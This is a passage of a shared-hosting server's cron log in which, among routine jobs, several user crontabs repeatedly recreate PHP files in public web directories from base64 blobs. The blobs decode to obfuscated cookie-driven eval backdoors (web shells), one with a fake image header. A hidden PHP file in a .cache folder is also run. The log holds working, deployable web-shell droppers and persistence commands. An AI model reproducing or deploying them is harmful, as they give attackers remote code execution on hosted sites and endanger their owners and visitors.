G9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:55:01 medusa CROND[27562]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:56:01 medusa CROND[19508]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:56:01 medusa CROND[19642]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 04:56:01 medusa CROND[19643]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:56:01 medusa CROND[19644]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:56:01 medusa CROND[19647]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:56:01 medusa CROND[19648]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:56:01 medusa CROND[19651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:56:01 medusa CROND[19652]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:56:01 medusa CROND[19653]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:56:01 medusa CROND[19657]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:56:01 medusa CROND[19658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:56:01 medusa CROND[19660]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 04:56:01 medusa CROND[19663]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:56:01 medusa CROND[19665]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:57:02 medusa CROND[12012]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:57:02 medusa CROND[12013]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 04:57:02 medusa CROND[12014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:57:02 medusa CROND[12015]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:57:02 medusa CROND[12019]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:57:02 medusa CROND[12021]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:57:02 medusa CROND[12024]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:57:02 medusa CROND[12030]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:57:02 medusa CROND[12038]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:57:02 medusa CROND[12041]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:57:02 medusa CROND[12042]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:57:02 medusa CROND[12036]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeV